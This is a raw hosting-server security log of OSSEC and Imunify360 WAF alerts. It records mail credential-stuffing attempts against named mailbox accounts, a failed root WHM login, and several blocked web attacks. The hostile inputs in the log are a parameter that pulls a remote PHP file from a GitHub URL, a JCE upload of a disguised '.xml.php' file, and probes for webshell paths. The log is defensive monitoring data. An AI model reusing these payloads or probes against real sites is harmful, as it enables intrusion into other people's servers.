2026-07-18 22:50:24 dovecot_login authenticator failed for H=(wsip-184-178-172-20.rn.hr.cox.net) [161.153.13.153]:46079: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.80.230.116
country_id: 3686110
description:
2026-07-18 22:50:37 dovecot_login authenticator failed for H=(syn-172-251-252-216.res.spectrum.com) [186.80.230.116]:42480: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-18 22:51:51 dovecot_login authenticator failed for H=([46.210.94.61]) [94.16.17.141]:34028: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.209.248.110
country_id: 2661886
description:
2026-07-18 22:51:27 dovecot_login authenticator failed for H=h83-209-248-110.cust.bredband2.com ([222.246.240.162]) [83.209.248.110]:43736: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.67.161.64
country_id: 2661886
description:
2026-07-18 22:52:31 dovecot_login authenticator failed for H=78-67-161-64-no2550.tbcn.telia.com (146-66-75-78.no-dns-yet.in-addr.zen.co.uk) [78.67.161.64]:45432: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.22
country_id: 1733045
description:
2026-07-18 22:53:11 dovecot_login authenticator failed for H=([14.99.61.248]) [49.124.152.22]:34354: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.208.38
country_id: 1036973
description:
2026-07-18 22:55:17 dovecot_login authenticator failed for H=([70.166.167.60]) [197.219.208.38]:44292: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.164.234.246
country_id: 1835841
description:
2026-07-18 22:55:41 dovecot_login authenticator failed for H=([37.238.45.202]) [112.164.234.246]:50042: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-18 22:59:42 dovecot_login authenticator failed for H=([49.124.149.213]) [196.189.59.226]:40140: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.161.110.92
country_id: 3144096
description:
2026-07-18 23:03:59 dovecot_login authenticator failed for H=92.79-161-110.customer.lyse.net ([222.185.102.94]) [79.161.110.92]:54124: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.167.240
country_id: 660013
description:
2026-07-18 23:03:39 dovecot_login authenticator failed for H=dsl-hkibng42-50dfa7-240.dhcp.inet.fi ([49.124.152.33]) [80.223.167.240]:58032: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.97.195.179
country_id: 1835841
description:
2026-07-18 23:07:27 dovecot_login authenticator failed for H=([187.51.84.86]) [222.97.195.179]:39150: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 149.62.41.142
country_id: 290557
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://90bola.net/livescore/\">kingslot96</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.63.219.148
country_id: 1835841
description:
2026-07-18 23:12:06 dovecot_login authenticator failed for H=([193.232.203.117]) [211.63.219.148]:47544: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.189.66
country_id: 1269750
description:
2026-07-18 23:15:05 dovecot_login authenticator failed for H=([77.34.157.29]) [182.95.189.66]:35282: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 155.4.31.215
country_id: 2661886
description:
2026-07-18 23:15:33 dovecot_login authenticator failed for H=h-155-4-31-215.a2204.priv.bahnhof.se (178.183.125.51.mobile.static.t-mobile.pl) [155.4.31.215]:42030: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 153.117.41.35
country_id: 1168579
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b22101678 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.80
country_id: 1733045
description:
2026-07-18 23:22:50 dovecot_login authenticator failed for H=([59.37.13.66]) [49.125.201.80]:60880: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.12.212.38
country_id: 1835841
description:
2026-07-18 23:23:20 dovecot_login authenticator failed for H=([50.217.255.171]) [59.12.212.38]:54308: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-18 23:31:45 dovecot_login authenticator failed for H=([72.207.33.65]) [117.211.15.93]:35782: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.199.125.189
country_id: 6252001
description:
2026-07-18 23:31:30 dovecot_login authenticator failed for H=47-199-125-189.fdr01.brtn.fl.ip.frontiernet.net ([218.21.243.58]) [47.199.125.189]:38410: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.180.80.221
country_id: 3996063
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/sitemap755.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.211.165.46
country_id: 2077456
description:
2026-07-18 23:52:22 dovecot_login authenticator failed for H=([31.173.12.27]) [118.211.165.46]:58235: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.215.46.115
country_id: 6252001
description:
2026-07-18 23:52:55 dovecot_login authenticator failed for H=wsip-72-215-46-115.pn.at.cox.net ([149.54.62.22]) [72.215.46.115]:54898: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.235.27.2
country_id: 3017382
description:
2026-07-18 23:54:01 dovecot_login authenticator failed for H=([178.178.222.59]) [213.235.27.2]:56707: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-18 23:53:42 dovecot_login authenticator failed for H=([98.190.239.1]) [188.122.37.97]:41026: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.53.193.47
country_id: 2661886
description:
2026-07-18 23:56:01 dovecot_login authenticator failed for H=h77-53-193-47.cust.bredband2.com ([193.232.203.117]) [77.53.193.47]:41296: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.20.230.46
country_id: 1269750
description:
2026-07-18 23:56:23 dovecot_login authenticator failed for H=([187.93.51.46]) [125.20.230.46]:53824: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.249.76.219
country_id: 1269750
description:
2026-07-19 00:00:56 dovecot_login authenticator failed for H=([59.11.0.20]) [49.249.76.219]:43914: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 222.254.118.59
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/tx-nr696-7-2-channel-network-a-v-receiver?Itemid=101&catid=18 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350572
name: IM360 WAF: Link shorteners usage
abuser: 114.122.208.150
country_id: 1643084
domain: jaashsupplies.com
description:
IM360 WAF: Link shorteners usage||MVN:ARGS:image_url||MV:https://raw.githubusercontent.com/JohnFoee/Miaw/refs/heads/main/apa.php||User:jaashsupplies||SC:/home/jaashsupplies/public_html/index.php||WPU:||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.91.173.57
country_id: 6252001
description:
2026-07-19 00:10:17 dovecot_login authenticator failed for H=168-91-173-57.s823.c3-0.eas-cbr7.atw-eas.pa.cable.rcncustomer.com ([182.225.30.195]) [168.91.173.57]:46916: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.41.207.112
country_id: 953987
description:
2026-07-19 00:10:35 dovecot_login authenticator failed for H=([192.252.220.90]) [196.41.207.112]:53864: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.240.94
country_id: 1269750
description:
2026-07-19 00:12:32 dovecot_login authenticator failed for H=([178.178.222.52]) [182.78.240.94]:40960: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 75.80.69.106
country_id: 6252001
description:
2026-07-19 00:12:19 dovecot_login authenticator failed for H=syn-075-080-069-106.biz.spectrum.com (nsg-corporate-35.174.186.122.airtel.in) [75.80.69.106]:38003: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.46.192.20
country_id: 2510769
description:
2026-07-19 00:19:55 dovecot_login authenticator failed for H=([73.158.169.54]) [193.46.192.20]:48456: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.54
country_id: 1668284
description:
2026-07-19 00:25:06 dovecot_login authenticator failed for H=110-25-109-54.adsl.fetnet.net ([67.201.38.131]) [110.25.109.54]:45042: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.110.136
country_id: 1668284
description:
2026-07-19 00:25:28 dovecot_login authenticator failed for H=110-25-110-136.adsl.fetnet.net (213-65-190-48-no2550.tbcn.telia.com) [110.25.110.136]:44402: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-19 00:26:49 dovecot_login authenticator failed for H=([49.124.147.105]) [196.189.59.226]:48235: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-19 00:34:05 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.230.168.26
country_id: 2661886
description:
2026-07-19 00:34:22 dovecot_login authenticator failed for H=90-230-168-26-no600.tbcn.telia.com ([117.244.16.5]) [90.230.168.26]:42880: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.68.245.7
country_id: 798544
description:
2026-07-19 00:43:41 dovecot_login authenticator failed for H=89-68-245-7.dynamic.play.pl (static.94.254.104.190.cps.com.ar) [89.68.245.7]:49926: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 89.105.220.237
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/language/en-GB/en-GB.astroid.ini||User:cochinbigbandsho||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.120.116.162
country_id: 1168579
description:
2026-07-19 00:43:52 dovecot_login authenticator failed for H=([65.20.132.172]) [103.120.116.162]:40430: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.138.85.168
country_id: 2661886
description:
2026-07-19 00:44:19 dovecot_login authenticator failed for H=h79-138-85-168.cust.bredband2.com ([67.201.35.147]) [79.138.85.168]:38752: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 47.128.52.246
country_id: 1880251
domain: www.ibmcglobal.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.0.0 Safari/537.36||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.173.21.44
country_id: 1880251
description:
2026-07-19 00:44:49 dovecot_login authenticator failed for H=([49.115.219.90]) [165.173.21.44]:49464: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.244.60.35
country_id: 1562822
description:
2026-07-19 00:44:33 dovecot_login authenticator failed for H=([223.99.212.58]) [171.244.60.35]:33190: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-07-19 00:44:35 dovecot_login authenticator failed for H=([115.165.216.154]) [103.55.89.5]:44630: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.80.104
country_id: 1269750
description:
2026-07-19 00:44:39 dovecot_login authenticator failed for H=([14.225.5.241]) [106.201.80.104]:57112: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.29.148
country_id: 1668284
description:
2026-07-19 00:44:18 dovecot_login authenticator failed for H=111-70-29-148.emome-ip.hinet.net (dsl-tn-150.92.246.61.airtelbroadband.in) [111.70.29.148]:54256: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.153.52.22
country_id: 2264397
description:
2026-07-19 00:58:01 dovecot_login authenticator failed for H=a89-153-52-22.cpe.netcabo.pt ([184.185.2.254]) [89.153.52.22]:48316: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.11.48.172
country_id: 6252001
description:
2026-07-19 00:57:39 dovecot_login authenticator failed for H=([106.13.181.87]) [72.11.48.172]:39902: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.126.217.41
country_id: 1210997
description:
2026-07-19 00:58:35 dovecot_login authenticator failed for H=(mission-web-hosting.com) [103.126.217.41]:53403: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.179.163.27
country_id: 1269750
description:
2026-07-19 00:59:05 dovecot_login authenticator failed for H=(89-233-203-159.cust.bredband2.com) [122.179.163.27]:50494: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.115.178.196
country_id: 6252001
description:
2026-07-19 00:58:10 dovecot_login authenticator failed for H=ool-4573b2c4.dyn.optonline.net ([194.31.8.12]) [69.115.178.196]:43037: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.157.91.62
country_id: 453733
description:
2026-07-19 00:59:39 dovecot_login authenticator failed for H=62-91-157-37.dyn.estpak.ee ([74.119.147.213]) [37.157.91.62]:55049: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.97.195.179
country_id: 1835841
description:
2026-07-19 01:00:04 dovecot_login authenticator failed for H=(83x167x79x234.dynamic.saratov.ertelecom.ru) [222.97.195.179]:55770: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.122.215.23
country_id: 6252001
description:
2026-07-19 01:00:15 dovecot_login authenticator failed for H=([111.206.233.34]) [98.122.215.23]:42694: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.61.251.4
country_id: 3686110
description:
2026-07-19 01:03:31 dovecot_login authenticator failed for H=([142.54.228.195]) [181.61.251.4]:38174: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.56.12
country_id: 1269750
description:
2026-07-19 01:03:15 dovecot_login authenticator failed for H=([180.137.151.93]) [183.82.56.12]:56547: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.109.54
country_id: 1668284
description:
2026-07-19 01:09:24 dovecot_login authenticator failed for H=110-25-109-54.adsl.fetnet.net (201-15-149-254.pltce300.ipd.brasiltelecom.net.br) [110.25.109.54]:60174: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.32.231.200
country_id: 1835841
description:
2026-07-19 01:09:36 dovecot_login authenticator failed for H=([49.124.159.179]) [14.32.231.200]:63537: 535 Incorrect authentication data (set_id=rdcentre)


plugin: modsec
rule: 77350630
name: IM360 WAF: DB injection limit
abuser: 196.196.53.8
country_id: 458258
domain: ogocindia.com
description:
IM360 WAF: DB injection limit||ARG:ARGS:s5_qc_field2||Injection:THE $27,000,000 JACKPOT IS A SQUAD WITH SUCCESS http://freeurlredirect.com/df2f1||User:ogocindia||SC:/home/ogocindia/public_html/en||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.196.53.8
country_id: 458258
domain: ogocindia.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:01-10.196.196.53.8||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.81.75
country_id: 2661886
description:
2026-07-19 01:12:20 dovecot_login authenticator failed for H=31-208-81-75.cust.bredband2.com ([222.186.68.153]) [31.208.81.75]:39738: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.4.61
country_id: 1668284
description:
2026-07-19 01:12:11 dovecot_login authenticator failed for H=221-120-4-61.emome-ip.hinet.net (151-132-212-178.vdnet.ru) [221.120.4.61]:55067: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.185.168
country_id: 1605651
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/robots.txt HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.35.163
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/sitemap_index.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.5.85
country_id: 6252001
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/wp-sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.45.205
country_id: 3175395
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/sitemap.xml.gz HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 209.50.162.116
country_id: 6252001
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/news-sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.47.18
country_id: 3017382
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.32.71
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/news-sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.3.44.63
country_id: 2510769
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/sitemap.xml.gz HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.51.235
country_id: 2635167
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 216.26.234.13
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/wp-sitemap.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.28.149
country_id: 3175395
domain: www.ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.ahsmarine.com/sitemap_index.xml HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.55.203
country_id: 2921044
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/ HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 136.116.198.170
country_id: 6252001
domain: www.alnayza.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.195.9.20
country_id: 2661886
description:
2026-07-19 01:31:08 dovecot_login authenticator failed for H=user20.85-195-9.netatonce.net (mission-web-hosting.com) [85.195.9.20]:49102: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.152.82.108
country_id: 2264397
description:
2026-07-19 01:31:20 dovecot_login authenticator failed for H=a89-152-82-108.cpe.netcabo.pt ([192.111.143.93]) [89.152.82.108]:47328: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.93.206
country_id: 1835841
description:
2026-07-19 01:31:25 dovecot_login authenticator failed for H=([98.190.239.1]) [218.156.93.206]:56590: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.63
country_id: 1668284
description:
2026-07-19 01:40:21 dovecot_login authenticator failed for H=([182.239.80.7]) [101.13.5.63]:53340: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 158.69.22.136
country_id: 6251999
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://get.sinknews.it.com/\">bigtechoro</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.174.78
country_id: 1269750
description:
2026-07-19 01:42:48 dovecot_login authenticator failed for H=([183.171.4.144]) [122.187.174.78]:51228: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.35.209.208
country_id: 1835841
description:
2026-07-19 01:42:59 dovecot_login authenticator failed for H=([65.20.237.191]) [14.35.209.208]:60726: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.240.104.100
country_id: 2077456
description:
2026-07-19 01:45:07 dovecot_login authenticator failed for H=([103.220.16.51]) [220.240.104.100]:38618: 535 Incorrect authentication data (set_id=dins.info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.139
country_id: 2921044
description:
2026-07-19 01:44:56 dovecot_login authenticator failed for H=(111-70-19-64.emome-ip.hinet.net) [94.16.17.139]:40472: 535 Incorrect authentication data (set_id=dins.info@metrodigitals.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.149.170.76
country_id: 1835841
description:
2026-07-19 01:46:09 dovecot_login authenticator failed for H=([174.75.211.204]) [218.149.170.76]:50589: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.164.239.83
country_id: 1835841
description:
2026-07-19 01:46:25 dovecot_login authenticator failed for H=(m121-202-198-98.smartone.com) [112.164.239.83]:36209: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.113.199.243
country_id: 6252001
description:
2026-07-19 01:46:51 dovecot_login authenticator failed for H=([111.70.34.60]) [68.113.199.243]:38758: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.208.42
country_id: 1269750
description:
2026-07-19 01:47:08 dovecot_login authenticator failed for H=([183.171.148.87]) [128.185.208.42]:47198: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: modsec
rule: 77469916
abuser: 162.243.24.25
country_id: 6252001
domain: www.alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:masta0a2ny0.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.184.161.72
country_id: 290291
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/news HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.16.13
country_id: 99237
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/?page_id=1383 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 84.54.120.205
country_id: 1512440
domain: ibmcglobal.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ibmcglobal.com/b2b/manage_international_shipments.php HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.127.125.129
country_id: 6252001
domain: interceptorglobal.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-admin/images/wp-login.php||SC:/home/interceptorgloba/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.127.125.129
country_id: 6252001
domain: interceptorglobal.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/images/admin.php||SC:/home/interceptorgloba/public_html/images/admin.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.138.90.195
country_id: 2661886
description:
2026-07-19 02:01:56 dovecot_login authenticator failed for H=h79-138-90-195.cust.bredband2.com (187-50-193-126.customer.tdatabrasil.net.br) [79.138.90.195]:35534: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.65.30
country_id: 1835841
description:
